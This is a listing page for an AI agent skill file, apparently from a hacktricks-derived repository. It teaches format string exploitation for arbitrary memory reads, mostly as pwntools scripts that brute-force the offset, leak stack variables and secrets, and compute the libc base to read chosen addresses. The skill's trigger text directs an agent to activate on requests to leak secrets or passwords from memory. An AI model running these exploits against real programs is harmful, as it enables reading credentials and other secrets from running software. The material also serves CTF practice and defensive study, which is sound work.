Skip to main content

format-string-arbitrary-read

Exploit format string vulnerabilities to perform arbitrary memory reads. Use this skill whenever the user mentions format string bugs, printf vulnerabilities, %s/%p format specifiers, leaking stack/heap/libc addresses, or needs to read arbitrary memory locations in binary exploitation. Trigger on any C code with vulnerable printf() calls, pwn challenges involving format strings, or requests to leak secrets/passwords from memory.

Informações da origem

Repositório
abelrguezr/hacktricks-skills
Última atividade na origem
23 de março de 2026 às 14:29
Idioma detectado do SKILL.md
inglês
Estrelas
22
Forks
10

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Explorador de arquivos
2 arquivos

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
format-string-arbitrary-read
description
Exploit format string vulnerabilities to perform arbitrary memory reads. Use this skill whenever the user mentions format string bugs, printf vulnerabilities, %s/%p format specifiers, leaking stack/heap/libc addresses, or needs to read arbitrary memory locations in binary exploitation. Trigger on any C code with vulnerable printf() calls, pwn challenges involving format strings, or requests to leak secrets/passwords from memory.
# Format String Arbitrary Read Exploitation This skill covers exploiting format string vulnerabilities to read arbitrary memory locations, including stack variables, heap data, and libc addresses. ## When to Use This Skill Use this skill when: - You encounter a `printf(user_input)` or similar vulnerable format string sink - You need to leak stack variables, heap addresses, or libc pointers - You're working on binary exploitation challenges with format string bugs - You need to discover the correct format string offset for exploitation - You want to read arbitrary memory addresses in a vulnerable binary ## Core Concepts ### Why Format Strings Are Dangerous When `printf()` receives user-controlled input as the format string, it interprets special sequences like: - `%s` - reads a string from the stack - `%p` - reads a pointer from the stack - `%x` - reads a hex value from the stack - `%n` - writes to memory (not covered here, but dangerous) ### The Offset The offset (e.g., `%11$s`) specifies which stack position to read. Finding the correct offset is critical: - Use brute-force scanning (0-50+) to find controllable positions - Use `pwntools.FmtStr` for automated discovery - The offset depends on the binary's stack layout ### Null Byte Truncation **Critical**: Place the format string BEFORE the address in your payload. `printf()` stops at null bytes, so if you send the address first, it will never reach the format string. ``` # WRONG - address contains null bytes, printf stops early payload = p64(address) + b"%11$s" # CORRECT - format string first, then address payload = b"%11$s" + p64(address) ``` ## Exploitation Workflow ### Step 1: Identify the Vulnerability Look for patterns like: ```c printf(user_input); // Direct vulnerability printf(buffer); // If buffer is user-controlled sprintf(dest, user_input); // Also vulnerable ``` ### Step 2: Find the Offset **Manual brute-force:** ```python from pwn import * for i in range(100): p = process('./vulnerable') payload = f"%{i}$s".encode() p.sendline(payload) output = p.clean() if b"AAAA" in output: # or any controlled pattern print(f"Found offset: {i}") break ``` **Automated with FmtStr:** ```python from pwn import * context.binary = ELF('./vulnerable', checksec=False) io = process() def exec_fmt(payload): io.sendline(payload) return io.recvuntil(b'\n', drop=False) fmt = FmtStr(exec_fmt=exec_fmt) offset = fmt.offset log.success(f"Discovered offset: {offset}") ``` ### Step 3: Read Stack Variables Local variables are on the stack. Use `%s` to leak strings: ```python from pwn import * p = process('./vulnerable') # If password is at offset 10 payload = f"%10$s".encode() p.sendline(payload) print(p.clean()) # Shows the leaked password ``` ### Step 4: Read Arbitrary Addresses To read from a specific address: ```python from pwn import * p = process('./vulnerable') # Target address to read from target_addr = 0x00400000 # or calculated address # Format string first, then the address payload = f"%11$s|||".encode() # ||| as delimiter payload += p64(target_addr) p.sendline(payload) print(p.clean()) ``` ### Step 5: Leak libc (PIE binaries) For modern binaries with PIE/ASLR: ```python from pwn import * elf = context.binary = ELF('./vulnerable', checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') io = process() # Leak libc pointer from stack (find offset first) io.sendline(b"%25$p") io.recvline() leak = int(io.recvline().strip(), 16) # Calculate libc base libc.address = leak - libc.symbols['__libc_start_main'] - 243 log.info(f"libc @ {hex(libc.address)}") # Now you can read from any libc address secret = libc.address + 0x1f7bc payload = f"%14$s".encode() + p64(secret) io.sendline(payload) print(io.recvuntil(b"\n")) ``` ## Common Patterns ### Pattern 1: Simple Stack Leak ```python from pwn import * p = process('./vuln') for i in range(100): payload = f"%{i}$s\na".encode() p.sendline(payload) output = p.clean() if b"secret" in output: # Look for your target print(f"Found at offset {i}") break ``` ### Pattern 2: Heap Leak + Offset Calculation ```python from pwn import * p = process('./vuln') # First, leak a heap address p.sendline(b"%25$p") heap_leak = int(p.recvline().strip(), 16) # Calculate target address relative to heap target_addr = heap_leak + 0x1f7bc # Adjust offset # Read from calculated address payload = f"%14$s".encode() + p64(target_addr) p.sendline(payload) print(p.clean()) ``` ### Pattern 3: Using fmtstr_payload (pwntools) ```python from pwn import * context.binary = ELF('./vuln', checksec=False) io = process() # Auto-discover offset def exec_fmt(payload): io.sendline(payload) return io.recvuntil(b'\n', drop=False) fmt = FmtStr(exec_fmt=exec_fmt) # Build payload to read address read_addr = 0x400000 payload = fmtstr_payload(fmt.offset, {read_addr: b"A" * 8}) io.sendline(payload) print(io.clean()) ``` ## Compilation Tips Compile vulnerable binaries with: ```bash clang -o vuln vuln.c -Wno-format-security -no-pie ``` - `-Wno-format-security`: Suppresses format string warnings - `-no-pie`: Disables PIE for easier exploitation (for learning) For realistic exploitation, test with PIE enabled: ```bash clang -o vuln vuln.c -Wno-format-security ``` ## Debugging Tips 1. **Offset not working?** Try different ranges (0-50, 0-100, 0-200) 2. **Garbage output?** The offset might be reading uninitialized memory 3. **Null byte issues?** Always put format string before the address 4. **PIE/ASLR randomizing?** Leak libc first, then calculate addresses 5. **Using GDB?** Set breakpoint at `printf` and inspect the stack ## Security Notes - Format string vulnerabilities are CWE-134 - Always validate format strings before passing to printf - Use `printf("%s", user_input)` instead of `printf(user_input)` - Modern compilers warn about this with `-Wformat-security` ## References - [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/) - [pwntools FmtStr documentation](https://docs.pwntools.com/en/stable/tubes.html#pwntools.tubes.remote.remote.RemoteProcess) - [HackTricks Format Strings](https://book.hacktricks.xyz/pentesting/remote-code-execution/rce-format-string-vulnerabilities)
Ver no GitHub